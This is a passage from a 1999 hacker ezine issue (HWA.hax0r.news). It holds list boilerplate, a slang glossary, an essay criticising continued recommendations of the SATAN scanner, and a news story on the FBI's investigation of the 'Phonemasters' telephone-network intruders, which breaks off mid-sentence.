      Feedback is encouraged. The list maintainers would like to hear what
      you think of the list, what could use improving, and which parts
      are "right on". Subscribers are also encouraged to submit articles
      or URLs. If you submit an article, please send either the URL or
      the article in ASCII text. Further, subscribers are encouraged to give
      feedback on articles or stories, which may be posted to the list.
      
      
      Please do NOT:
      
      
              * subscribe vanity mail forwards to this list
      
      
              * subscribe from 'free' mail addresses (ie: juno, hotmail)
      
      
              * enable vacation messages while subscribed to mail lists
      
      
              * subscribe from any account with a small quota
      
      
      All of these generate messages to the list owner and make tracking
      down dead accounts very difficult. I am currently receiving as many 
      as fifty returned mails a day. Any of the above are grounds for
      being unsubscribed. You are welcome to resubscribe when you address
      the issue(s).
      
      
      Special thanks to the following for continued contribution:
              William Knowles, Aleph One, Will Spencer, Jay Dyson,
              Nicholas Brawn, Felix von Leitner, Phreak Moi and 
              other contributers.
      
      
      ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
      ISN Archive: http://www.landfield.com/isn
      ISN Archive: http://www.jammed.com/Lists/ISN/
      
      
      ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
          private list. Moderation of topics, member subscription, and
          everything else about the list is solely at his discretion.
      
      
      The ISN membership list is NOT available for sale or disclosure.  
      
      
      ISN is a non-profit list. Sponsors are only donating to cover bandwidth 
          and server costs. 

    



    @HWA


 00.3 THIS IS WHO WE ARE
      ~~~~~~~~~~~~~~~~~~
 
      Some HWA members and Legacy staff
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      cruciphux@dok.org.........: currently active/editorial
      darkshadez@ThePentagon.com: currently active/man in black
      fprophet@dok.org..........: currently active/programming/IRC+ man in black
      sas72@usa.net ............. currently active/IRC+ distribution
      vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
      dicentra...(email withheld): IRC+ grrl in black
      twisted-pair@home.com......: currently active/programming/IRC+


      Foreign Correspondants/affiliate members
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
       Qubik ............................: United Kingdom 
       D----Y ...........................: USA/world media
       HWA members ......................: World Media
       
      
      
      Past Foreign Correspondants (currently inactive or presumed dead) 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Sla5h.............................: Croatia
       N0Portz ..........................: Australia           
       system error .....................: Indonesia           
       Wile (wile coyote) ...............: Japan/the East      
       Ruffneck  ........................: Netherlands/Holland 
       Wyze1.............................: South Africa

       
       Please send in your sites for inclusion here if you haven't already
       also if you want your emails listed send me a note ... - Ed

      Spikeman's site is down as of this writing, if it comes back online it will be
      posted here.
      
      http://www.hackerlink.or.id/  ............ System Error's site (in Indonesian) 
      
      Sla5h's email: smuddo@yahoo.com
       

       *******************************************************************
       ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
       *******************************************************************

    :-p


    1. We do NOT work for the government in any shape or form.Unless you count paying
       taxes ... in which case we work for the gov't in a BIG WAY. :-/

    2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
       events its a good idea to check out issue #1 at least and possibly also the
       Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...


    @HWA



 00.4 Whats in a name? why HWA.hax0r.news??
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                             
      
      Well what does HWA stand for? never mind if you ever find out I may
     have to get those hax0rs from 'Hackers' or the Pretorians after you.

     In case you couldn't figure it out hax0r is "new skewl" and although
     it is laughed at, shunned, or even pidgeon holed with those 'dumb
     leet (l33t?) dewds' <see article in issue #4> this is the state
     of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
     up  and comers, i'd highly recommend you get that book. Its almost
     like  buying a clue. Anyway..on with the show .. - Editorial staff


     @HWA

00.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Also released in issue #3. (revised) check that issue for the faq
    it won't be reprinted unless changed in a big way with the exception
    of the following excerpt from the FAQ, included to assist first time
    readers:

    Some of the stuff related to personal useage and use in this zine are
    listed below: Some are very useful, others attempt to deny the any possible
    attempts at eschewing obfuscation by obsucuring their actual definitions.

    @HWA   - see EoA  ;-)

    !=     - Mathematical notation "is not equal to" or "does not equal"
             ASC(247)  "wavey equals" sign means "almost equal" to. If written
             an =/= (equals sign with a slash thru it) also means !=, =< is Equal
             to or less than and =>  is equal to or greater than (etc, this aint
             fucking grade school, cripes, don't believe I just typed all that..)

    AAM    - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)

    AOL    - A great deal of people that got ripped off for net access by a huge
             clueless isp with sekurity that you can drive buses through, we're
             not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
             least they could try leasing one??

   *CC     - 1 - Credit Card (as in phraud)
             2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's

    CCC    - Chaos Computer Club (Germany)

   *CON    - Conference, a place hackers crackers and hax0rs among others go to swap
             ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
             watch videos and seminars, get drunk, listen to speakers, and last but
             not least, get drunk.
   *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
                 speak he's the guy that breaks into systems and is often (but by no
                 means always) a "script kiddie" see pheer
              2 . An edible biscuit usually crappy tasting without a nice dip, I like
                  jalapeno pepper dip or chives sour cream and onion, yum - Ed

    Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
              Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
              ebonics, speaking in a dark tongue ... being ereet, see pheer

    EoC    - End of Commentary

    EoA    - End of Article or more commonly @HWA

    EoF    - End of file

    EoD    - End of diatribe (AOL'ers: look it up)

    FUD    - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
            usually in general media articles not high brow articles such as ours or other
            HNN affiliates ;)

    du0d   - a small furry animal that scurries over keyboards causing people to type
             weird crap on irc, hence when someone says something stupid or off topic
             'du0d wtf are you talkin about' may be used.

   *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R

   *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
            define, I think it is best defined as pop culture's view on The Hacker ala
            movies such as well erhm "Hackers" and The Net etc... usually used by "real"
            hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
            some coffee?' or can you hax0r some bread on the way to the table please?'

            2 - A tool for cutting sheet metal.

    HHN    - Maybe a bit confusing with HNN but we did spring to life around the same
             time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
             noun means the hackernews site proper. k? k. ;&

    HNN    - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html

    J00    - "you"(as in j00 are OWN3D du0d) - see 0wn3d

    MFI/MOI- Missing on/from IRC

    NFC   - Depends on context: No Further Comment or No Fucking Comment

    NFR   - Network Flight Recorder (Do a websearch) see 0wn3d

    NFW   - No fuckin'way

   *0WN3D - You are cracked and owned by an elite entity see pheer
   *OFCS  - Oh for christ's sakes

    PHACV - And variations of same <coff>
            Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare

          Alternates: H - hacking, hacktivist
                      C - Cracking <software>
                      C - Cracking <systems hacking>
                      V - Virus
                      W - Warfare <cyberwarfare usually as in Jihad>
                      A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
                      P - Phreaking, "telephone hacking" PHone fREAKs ...
                     CT - Cyber Terrorism

   *PHEER -  This is what you do when an ereet or elite person is in your presence
            see 0wn3d

   *RTFM  - Read the fucking manual - not always applicable since some manuals are
            pure shit but if the answer you seek is indeed in the manual then you
            should have RTFM you dumb ass.

    TBC   - To Be Continued also 2bc (usually followed by ellipses...) :^0

    TBA   - To Be Arranged/To Be Announced also 2ba

    TFS   - Tough fucking shit.

   *w00t  - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
            from the underground masses. also "w00ten" <sic>

            2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)

    *wtf  - what the fuck, where the fuck, when the fuck etc ..

    *ZEN  - The state you reach when you *think* you know everything (but really don't)
            usually shortly after reaching the ZEN like state something will break that
            you just 'fixed' or tweaked.
            
     @HWA            
     
     
                            -=-    :.    .:        -=-
                            
                            
                            

 01.0 Greets!?!?! yeah greets! w0w huh. - Ed
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Thanks to all in the community for their support and interest but i'd
     like to see more reader input, help me out here, whats good, what sucks
     etc, not that I guarantee i'll take any notice mind you, but send in
     your thoughts anyway.


       * all the people who sent in cool emails and support
       
     FProphet       Pyra                TwstdPair      _NeM_
     D----Y         Dicentra            vexxation      sAs72
     Spikeman       p0lix               Vortexia      Wyze1
     Pneuma         Raven               Zym0t1c
     
          
     Ken Williams/tattooman ex-of PacketStorm,
          
     & Kevin Mitnick                      
     
     kewl sites:
     
     + http://blacksun.box.sk. NEW
     + http://packetstorm.securify.com/ NEW
     + http://www.securityportal.com/ NEW
     + http://www.securityfocus.com/ NEW
     + http://www.hackcanada.com/
     + http://www.l0pht.com/
     + http://www.2600.com/
     + http://www.freekevin.com/
     + http://www.genocide2600.com/
     + http://www.hackernews.com/ (Went online same time we started issue 1!)
     + http://www.net-security.org/
     + http://www.slashdot.org/
     + http://www.freshmeat.net/
     + http://www.403-security.org/
     + http://ech0.cjb.net/

     @HWA


 01.1 Last minute stuff, rumours and newsbytes
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       "What is popular isn't always right, and what is right isn't
         always popular..."
                           - FProphet '99
                           
       

    +++ When was the last time you backed up your important data?
    
          
     
      Thanks to myself for providing the info from my wired news feed and others from whatever
      sources, also to Spikeman for sending in past entries.... - Ed
      
     @HWA

 01.2 MAILBAG - email and posts from the message board worthy of a read
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      (No mail worthy of posting here this issue,)
      
      Yeah we have a message board, feel free to use it, remember there are no stupid questions...
      well there are but if you ask something really dumb we'll just laugh at ya, lets give the
      message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
      domain comes back online (soon) meanwhile the beseen board is still up...
      
      ==============================================================================
      

      

 02.0 From the editor.
      ~~~~~~~~~~~~~~~~

     #include <stdio.h>
     #include <thoughts.h>
     #include <backup.h>

     main()
     {
      printf ("Read commented source!\n\n");

     /* 
      * Well, there it is. the 13th is our first birthday so expect something
      * (as yet undetermined) special for our birthday edition, we'll be one 
      * year old, also celebrating birthday's this month are HNN and help
      * net-security.org, a big happy birthday to our friends at both places
      * net-security.org'd birthday is on the 27th and HNN is on the 7th...
      * its been a hell of a year and hopefully things will just get better
      * with the coming year, what with our server near completion it will be
      * online soon and will carry a huge phac archive as well as our ezine..
      *
      * HWA also welcomes its newest member twstdpair, to the fold, he's a
      * member of the main group and has contributed a shell script for this
      * issue, Everyone say hi... *g*
      *
      * Cruciphux
      */
      printf ("EoF.\n");
      }

      

      Congrats, thanks, articles, news submissions and kudos to us at the
     main address: hwa@press.usmc.net complaints and all nastygrams and
     mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
     127.0.0.1, private mail to cruciphux@dok.org

     danke.

     C*:.
     
03.0  Why Your Network is Still Vulnerable 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      contributed by Brian Martin 
      Your high priced security consultants advised you to or
      you just read a new book by some whiz-bang security
      hot shot and they recommended that you run SATAN
      against your network. You did and now your wondering
      why your web site was just defaced. New in the Buffer
      Overflow section is a new article that will hopefully tell
      you: 

      Why Your Network is Still Vulnerable
      http://www.hackernews.com/orig/buffero.html
      
      Why Your Network is Still Vulnerable


      By: Brian Martin
      October 4, 1999 

      You trust the security experts. Their books and articles
      about security are often the bibles of System
      Administrators. Their one paragraph biographies tell you of
      their ten to twenty years doing network security. They
      take on impressive titles of neat sounding companies they
      secure. Why is it these experts often give you the
      absolute worst advice that could cross your ears?

      Time and time again, security 'experts' casually
      recommend that you use or deploy a package like the
      SATAN security scanner to test your network for
      vulnerabilities. While few references to SATAN will claim it
      is the end all solution to computer security, the mere fact
      people ever recommended the tool is absurd. More
      disturbing is that over four years after it is released, some
      continue to reference it in a serious manner.

      Before I continue, I'd like to qualify and assure you this is
      not a rant against SATAN's (or any other tool's) authors.
      The attention and hype that propelled SATAN into the
      media spotlight is no fault of theirs. Rather, other security
      'experts' and/or media outlets cried wolf before it was
      released and helped create the "demise of the internet" as
      it was once called. This article will focus on SATAN as an
      example, simply because of the label it received from so
      many. Please keep in mind that SATAN is a forefather to
      most of the commercial scanners you are familiar with. So
      time progresses and people realize the futility of
      recommending a utility never designed for intensive and
      thorough auditing, right? Of course not.

      Politically Correct

      Instead of researching options more suitable for these
      books and articles, many security professionals dutifully
      recommend SATAN, COPS, Tiger and other out of date
      utilities. The question is why? Regardless of the answer, it
      isn't a good enough reason. Security experts have an
      ethical obligation to recommend viable and solid solutions
      to their readers and customers. Each and every time they
      don't, they further validate weak utilities as a method for
      securing your network. Days after auditing your network
      with these tools, their network falls victim to an intruder
      and they can't figure out why.

      SATAN was last released as version 1.1.1 on March 20,
      1995. Obviously, network security concerns move at the
      speed of light. Any security audit tool not updated hours
      ago is already behind the times. So how can so many
      security professionals continue to recommend such an old
      and outdated tool? The only answer that comes to mind is
      the concept of being Politically Correct. The media told
      the masses this was a serious tool and should be regarded
      as a legitimate network auditing tool. Who would want to
      go against the grain and say otherwise? No one
      apparently.

      Media and mainstream press put SATAN on a pedestal of
      unseen heights. As a result, several security professionals
      are still looking up and not seeing the scanner for what it
      is. Every day that passed with no qualified individuals
      speaking up, the more it lent to what the media had
      already said. Four years later, this is the first article to my
      knowledge that is doing that.

      Who's on the Bandwagon?

      If you haven't read many security articles, you may not
      have run across a reference to SATAN. In case you
      haven't, lets look at a few of the many media outlets,
      security professionals and others who tell you to use it.

      It started in 1995 with a wave of articles and press frenzy
      surrounding the tool's release. To this day, articles still
      seem to latch onto the idea SATAN is a viable tool for
      network security. In 1995, an Oakland Tribune article said:

         "It's like randomly mailing automatic rifles to 5,000 addresses.
          I hope some crazy teen doesn't get a hold of one."

      More recently SATAN has popped back up in more articles.
      James Glave quoted a Microsoft spokesperson on the use
      of SATAN in his article "Back Orifice a pain in the..?" (27).
      In April, Kevin Reichard wrote about the tool in his article
      "Network Security" (28).

      Many popular and respected magazines have run articles
      suggesting the use of SATAN. Among them are Linux
      Journal (1), Info Security News (2), Security Advisor (3)
      and Information Security (An ICSA Publication) (4). Most
      disturbing is that most of the publically available security
      magazines each push SATAN onto their readers at one
      point or another. These are the so-called experts, the
      people that should know the program does little for
      today's networks. Yet as late as September 1998, three
      years since SATAN's last release, they are still doing it.

      Visit your local bookstore and you will be lucky to find
      more than five or ten security books. Over the past five
      years over one hundred books focusing on security have
      crossed these shelves. Interestingly enough, a healthy
      percentage each make the misplaced recommendation of
      SATAN as a valuable auditing tool. Worse, the idea of
      using such outdated and inferior tools has crossed beyond
      the realm of security books. A few of these books you
      may have seen are Practical Unix & Internet Security (5),
      UNIX System Administrator's Companion (6), Halting the
      Hacker (7), and Internet Besieged (8). Recently, O'Reilly
      released an entire book devoted to using SATAN to
      protect your networks. (9) To a degree, this release gave
      the ultimate validation to the tool's ability to protect your
      network. Are these books unworthy of attention? No. I
      would hazard they are being politically correct.

      To keep on the bandwagon of overhype and undue
      attention, several security advisories have been released
      to prepare the net for this tool. One issue remains
      unresolved though. Why have few advisories followed the
      various SATAN advisories warning users of other utilities
      that are far more dangerous to their organization? In 1995
      we were flooded with advisories from every response team
      or security group out there. CERT CA-95:06 (10), CIAC
      F-19 (11), CIAC F-20 (12), CIAC F-21 (13), CIAC F-23
      (14), CIAC F-24 (15), SMS 00130A (16), NASIRC (17),
      Assist 95-11 (18), Assist 95-19 (19), and Auscert
      AA-95.03 (20) are just a few of the security advisories
      warning us of the impact of SATAN.

      With all of the news articles, books, security advisories
      and other miscelaneous hype, how could anyone go
      against the grain and jump off the bandwagon?

      Satan is as Satan Does

      Giving these various doomsday media outlets the benefit
      of the doubt, we could at least expect them to talk to
      knowledgeable professionals. That leads to two more
      questions. First, why didn't they do just that? Second,
      why are some security professionals writing articles
      recommending it? Some might argue that since it has a
      point and click graphical user interface, it is easy for the
      novice admin. I certainly don't buy that. Considering it
      takes a unix host, perl, x-windows and other resources
      that are not the easiest to setup, expecting novice
      admins to use it is not logical.

      Martin Freiss (author of 'Protecting Networks with SATAN')
      writes in his introduction about the extent of SATAN
      protecting your network:

         "Naturally, SATAN cannot detect every security vulnerability.
         In particular, there are security problems in the transfer
         protocols of the Internet and intranets.. True security can
         be achieved only if all dangers are known, including those
         that SATAN cannot detect.."


      Based on these words, I think it fair to say that those
      people familiar with the tool realizes its limits. Most
      security professionals when asked if there is an end all be
      all solution to network security, will answer no such beast
      exists. On the other hand, they will also tell you that no
      one tool will be the 'demise of the internet' like some
      claimed.

      Falling Short

      Technically speaking, why shouldn't these organizations
      and people be recommending SATAN? Let's examine what
      the program does in the way of vulnerability checking on a
      remote host. The following list is taken from the
      documentation.

           NFS file systems exported to arbitrary hosts 
           NFS file systems exported to unprivileged programs 
           NFS file systems exported via the portmapper 
           NIS password file access from arbitrary hosts 
           Old (i.e. before 8.6.10) sendmail versions 
           REXD access from arbitrary hosts 
           X server access control disabled 
           arbitrary files accessible via TFTP 
           remote shell access from arbitrary hosts 
           writable anonymous FTP home directory 

      First thing we notice is that it scans for ten whole
      vulnerabilities. Thinking back to the start of this year
      alone, you should be aware that over one hundred
      vulnerabilities have been brought to light on the Internet.
      So the sheer percentage of vulnerabilities doesn't quite
      cut it. Commercial competitors of SATAN like ISS and
      Cybercop pride themselves and attempt to gain market
      share based on the high number of vulnerabilities they
      scan for (over 500).

      Since numbers are often misleading, lets look at some real
      world examples of why SATAN is not a good
      recommendation. If you are tasked to deal with network
      security and you run any flavor of unix, you are probably
      aware of the hundred or so vendor based security
      advisories for your platform of choice. Some of the more
      recently exploited vulnerabilities:

           ToolTalk (rpc.ttdb): Detailed in NAI Advisory #29
           (23) 
           Statd (rpc.statd): Detailed in SMS Advisory #186
           (24) 
           Calender Manager (rpc.cmsd): Detailed in SMS
           Advisory #188 (25) 
           Cold Fusion (WinNT): Several problems covered in
           many advisories (26) 
           wu-ftpd, named (DNS), pop (mail), imap (mail), nisd,
           autofsd, and more. 

      Comparing the list of vulnerabilities being widely exploited
      on the Internet today with the list of vulnerabilities SATAN
      checks for, we can see it does one thing quite well. It
      falls short. For you NT administrators, seek help
      elsewhere.

      Insult to Injury

      Yes, it gets worse. Not only does the program fall short in
      assisting with network security analysis, it poses a serious
      threat to your network security in ways that didn't
      previously exist.

      As outlined in CERT CA-95:07 (21), there is a "Password
      Disclosure" issue with SATAN 1.0, fixed in version 1.1.
      CIAC F-22 (22) covers another vulnerability that allows
      unauthorized users to execute commands and gain root
      access through SATAN. Marc Heuse later posted to
      Bugtraq regarding SATAN and other widely used security
      tools having /tmp race conditions allowing unauthorized
      users to create or overwrite any file on the system. This
      last vulnerability was found in SATAN 1.1.1, the last
      version released. No further revisions have been
      forthcoming so the issue has not been fixed.

      So What's the Solution?

      So if tools like SATAN are antiquated, what is a viable
      freeware solution? Like most tools, there are always
      alternatives. In the past few years, a more current tool
      based on SATAN's foundation has arisen, called SAINT
      (30). As of August 19, 1999, SAINT version 1.4 was
      released adding more features and security checks that
      address current security concerns. Among these are
      checks for well known NT security holes, Operating
      System fingerprinting, as well as several new Unix
      vulnerabilities. The continued development and community
      effort to support this product has turned it into a much
      better foundation for testing network security than many
      other tools like it. Due to its active development and
      continued support for detecting new vulnerabilities, this
      seems like a great alternative to recommending outdated
      tools. When possible, don't rely on canned tools at all.
      They will never come close to the ability and instinct of a
      qualified security consultant. 
      Conclusion

      A few dozen cliches come to mind as a way to wrap up
      this article. I think I have sufficiently shown that
      everyone from the media to security experts continue to
      quote SATAN as a way to defend your network. Because
      the tool has not been updated in several years, it is far
      behind the times in addressing network security issues. On
      top of it not being adequate by any stretch of the
      imagination, it poses further risk to your machines. Despite
      all this, the recommendation to use inferior technology still
      comes pouring in.


      Brian Martin (bmartin@attrition.org)
      Copyright 1999 

      @HWA
      
04.0  'PhoneMasters' Finally Sentenced 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      contributed by Arik and iwchick 
      A group few people have heard of, dubbed the 'Phone
      Masters' by the FBI, had three of its members raided
      four years ago. Using new technology developed by the
      FBI specifically for this case, 'the magic box' allowed
      investigators to gather evidence on what has been
      called one of the greatest cyber-intrusions of all time.
      The group allegedly had their run of telephone and other
      networks across the country. The three people
      apprehended have plead guilty to federal charges of one
      count of theft and possession of unauthorized
      calling-card numbers and one count of unauthorized
      access to computer systems. 

      MSNBC
      http://www.msnbc.com/news/317947.asp
      
      ZD Net          
      http://www.zdnet.com/filters/printerfriendly/0,6061,2345639-2,00.html
      
      MSNBC
      
      
      busted a hacker ring
      FBI investigator Michael Morris stung
      the ‘Phonemasters’ in their own game

                             By John Simons
                     THE WALL STREET JOURNAL

                                                                         

     DALLAS, Oct. 1 —  In a federal courtroom here,
     Calvin Cantrell stands silently, broad shoulders
     slouched. His lawyer reads from a short letter he
     has written: “My parents taught me good ethics,
     but I have departed from some of these, lost my
     way sometimes,” the letter states. “I was 25 and
     living at home. No job, and no future... . All I
     ever really wanted was to work with computers.
     
     MR. CANTRELL CERTAINLY DID WORK with
     computers — both his own, and, surreptitiously, those of
     some of the largest companies in the world. He was part of
     a ring of hackers that pleaded guilty here to the most
     extensive illegal breach of the nation’s telecommunications
     infrastructure in high-tech history. 



            And sitting behind him in court as he was sentenced
     two weeks ago was the accountant-turned-detective who
     caught him: Michael Morris. A decade earlier, Mr. Morris,
     bored with accounting work, left a $96,000 job at Price
     Waterhouse and enrolled in the FBI academy, at $24,500 a
     year. Mr. Cantrell’s sentencing was the final act in a
     five-year drama for Mr. Morris, and secured his reputation
     as the FBI’s leading computer gumshoe.
            The tale of Mr. Morris and Mr. Cantrell is among the
     first cops-and-robber stories of the New Economy,
     involving, among other things, the first-ever use of an FBI
     “data tap.” It illustrates how the nation’s law-enforcement
     agencies are scrambling to reinvent their profession in a
     frantic effort to keep pace with brilliant and restless young
     hackers.
            The story also shows that hacking’s potential harm is
     far more ominous than theft of telephone credit-card
     numbers. Mr. Cantrell was part of an eleven-member group
     dubbed “The Phonemasters” by the FBI. They were all
     technically adept twenty-somethings expert at manipulating
     computers that route telephone calls.
            The hackers had gained access to telephone networks
     of companies including AT&T Corp., British
     Telecommunications Inc., GTE Corp., MCI WorldCom
     (then MCI Communications Corp.), Southwestern Bell, and
     Sprint Corp. They broke into credit-reporting databases
     belonging to Equifax Inc. and TRW Inc. They entered
     Nexis/Lexis databases and systems of Dun & Bradstreet,
     court records show.
            The breadth of their monkey-wrenching was
     staggering; at various times, they could eavesdrop on phone
     calls, compromise secure databases, and redirect
     communications at will. They had access to portions of the
     national power grid, air-traffic-control systems and had
     hacked their way into a digital cache of unpublished
     telephone numbers at the White House. The FBI alleges, in
     evidence filed in U.S. District Court for the Northern
     District of Texas, that the Phonemasters had even conspired
     to break into the FBI’s own National Crime Information
     Center.
            Unlike less-polished hackers, they often worked in
     stealth, and avoided bragging about their exploits. Their
     ultimate goal was not just fun, but profit. Some of the young
     men, says the FBI, were in the business of selling the credit
     reports, criminal records, and other data they pilfered from
     databases. Their customers included private investigators,
     so-called information brokers and — by way of middlemen
     — the Sicilian Mafia. According to FBI estimates, the gang
     accounted for about $1.85 million in business losses.
            “They could have — temporarily at least — crippled
     the national phone network. What scares me the most is
     that these guys, if they had had a handler, whether criminal
     or state-sponsored, could have done a lot of damage,” says
     Mr. Morris. “They must have felt like cyber-gods.”
            With the exception of Mr. Cantrell, none of the
     defendants in the Phonemasters case would comment on the
     matter. Others are thought to remain at large. This is the
     story of Mr. Cantrell and two accomplices, largely put
     together from federal district court records and FBI
     interviews.
            Mr. Morris first learned of the group in August 1994,
     when he got a phone call from a Dallas private investigator,
     saying Mr. Cantrell had offered to sell him personal data on
     anyone he wished. He even offered a price list: personal
     credit reports were $75; state motor-vehicle records, $25;
     records from the FBI’s Crime Information Center, $100.
     On the menu for $500: the address or phone number of any
     “celebrity/important person.”
            Mr. Morris immediately opened an investigation. Only
     33 years old at the time, he had taken an annual pay cut to
     join the FBI just five years earlier. He had been a tax
     consultant at Price Waterhouse, and despised the work. “I
     was young and making the big bucks, but every morning I
     would think ‘God, I don’t want to go to work.’ ”
            Tall, square-jawed and mustachioed, Mr. Morris
     began working white-collar crimes when he arrived at the
     Dallas FBI field office. He took on a few hacker cases and
     realized he liked the challenge. “These guys are not the kind
     who’ll rob the convenience store then stare right into the
     security camera,” he says. “Trying to be the Sherlock
     Holmes of the Internet is hard when the fingerprints on the
     window can be so easily erased.”
            Mr. Morris convinced the private investigator to meet
     with Mr. Cantrell while wearing an audio taping device.
     After reviewing the tapes, he was certain that he was onto
     something big. He applied for and received court authority
     to place a digital number recorder on Mr. Cantrell’s phone
     lines, which would log numbers of all outgoing calls. It
     showed that Mr. Cantrell frequently dialed corporate
     telephone numbers for AT&T, GTE, MCI, Southwestern
     Bell and Sprint. Mr. Cantrell had also placed calls to two
     unlisted numbers at the White House, which further piqued
     Mr. Morris’s interest. 

                             So, late that summer, Mr.
                      Morris took an unprecedented step.
                      He began writing a 40-page letter to
                      the FBI’s Washington headquarters,
                      the Department of Justice and the
                      federal district court in Dallas.
                      Recording Mr. Cantrell — now his
                      central suspect — while on the
                      phone wasn’t sufficient for the job
                      that faced him, he believed. Instead,
                      he needed new federal powers. He
                      asked for Washington’s permission
                      to intercept the impulses that traveled
     along Mr. Cantrell’s phone line as he was using his
     computer and modem.
            “It’s one of the hardest techniques to get approved,
     partly because it’s so intrusive,” says Mr. Morris, who
     spent the next month or so consulting with federal
     authorities. “The public citizen in me appreciates that,” he
     says. Still, the long wait was frustrating. “It took a lot of
     educating federal attorneys,” he says.
            Once authorities said yes, Mr. Morris faced another
     obstacle: The equipment he needed didn’t exist within the
     FBI. Federal investigators had experimented with a
     so-called data-intercept device only once before in a New
     York hacker case a year earlier. It had failed miserably.
            Mr. Morris and technicians at the FBI’s engineering lab
     in Quantico, Va., worked together to draft the specifications
     for the device Mr. Morris wanted. It would need to do the
     reverse of what a computer’s modem does. A modem
     takes digital data from a computer and translates it to analog
     signals that can be sent via phone lines. Mr. Morris’s device
     would intercept the analog signals on Mr. Cantrell’s phone
     line and convert those impulses back to digital signals so the
     FBI’s computers could capture and record each of a
     suspect’s keystrokes.
            While waiting for the FBI to fit him with the proper
     gear, Mr. Morris contacted several of the telephone
     companies to alert them that they had been victimized. The
     reception he got wasn’t always warm. “It’s kind of sad.
     Some of the companies, when you told them they’d had an
     intrusion, would actually argue with you,” he said.
            GTE was an exception. Mr. Morris discovered that Bill
     Oswald, a GTE corporate investigator, had opened his own
     Phonemasters probe. Mr. Oswald and Mr. Morris began
     working together and uncovered another of Mr. Cantrell’s
     schemes: He and some friends had managed to get their
     hands on some telephone numbers for FBI field offices.
     They entered the telephone system and forwarded some of
     those FBI telephones to phone-sex chat lines in Germany,
     Moldavia and Hong Kong. As a result of the prank, the FBI
     was billed for about $200,000 in illegal calls.
            Mr. Morris also learned that on Oct. 11, 1994, Mr.
     Cantrell hacked GTE’s computer telephone “switch” in
     Monticeto, Calif., created a fake telephone number and
     forwarded calls for that number to a sex-chat line in
     Germany. The FBI isn’t sure how Mr. Cantrell convinced
     people to call the number, but court records show that Mr.
     Cantrell received a payment of $2,200 from someone in
     Germany in exchange for generating call traffic to the
     phone-sex service.
            In early December 1994, Mr. Morris’s “analog data
     intercept device” finally arrived from the FBI’s engineering
     department. It was a $70,000 prototype which Mr. Morris
     calls “the magic box.”
            On Dec. 20, Mr. Morris and other agents opened up
     their surveillance in an unheated warehouse with a leaky
     roof. The location was ideal because it sat between Mr.
     Cantrell’s home and the nearest telephone central office.
     Mr. Morris and nine other agents took turns overseeing the
     wiretap and data intercepts. The agents often had to pull a
     tarp over their workspace to keep rain from damaging the
     costly equipment.
            As middle-class families go, the Cantrells seem
     exemplary. Calvin’s father, Roy, was a retired detective
     who had once been voted “Policeman of the Year” in
     Grand Prairie, the suburb west of Dallas where they live.
     His mother, Carol, taught Latin and English at Grand Prairie
     High School, where Calvin graduated in 1987 with
     above-average grades. As a student, he was no recluse. He
     had a small circle of friends who shared his love of martial
     arts, video games, and spy movies. Mr. Cantrell’s longtime
     friend, Brandon McWhorter, says Calvin was always a
     fun-loving guy, but there was one thing about which he was
     very serious. 
      
      Mr. Cantrell
      certainly did work
      with computers —
      both his own, and,
      surreptitiously, those
      of some of the
      largest companies in
      the world. 

            “He would always talk to me about religion,” says Mr.
     McWhorter. “He held very strong religious beliefs.”
            After high school, Mr. Cantrell continued to live at
     home while taking classes at the University of Texas at
     Arlington and a local community college.
            He held a series of odd jobs and hired himself out as a
     deejay for weddings and corporate parties. Mr. Cantrell
     balanced, school, work, family and friends even as he began
     hacking more often. His parents became suspicious, but
     said nothing. The family had three phones; Calvin stayed on
     his 15 hours a day.
            “They’d go in my room and see all the notes and the
     phone numbers. Even though they couldn’t put it together
     technically, they knew something was up,” says Mr.
     Cantrell. “They were kind of in denial... . My parents were
     pretty soft.”
            Mrs. Cantrell says Calvin had been so well behaved
     that she never suspected his computer activities were more
     than fun and games. “I wish I had known what was going
     on. Unfortunately, my son was smarter than I was.”
     (Calvin’s father passed away last year.)
            At 8:45 on the night of Dec. 21, just four days before
     Christmas, Mr. Cantrell went online. Using an ill-gotten
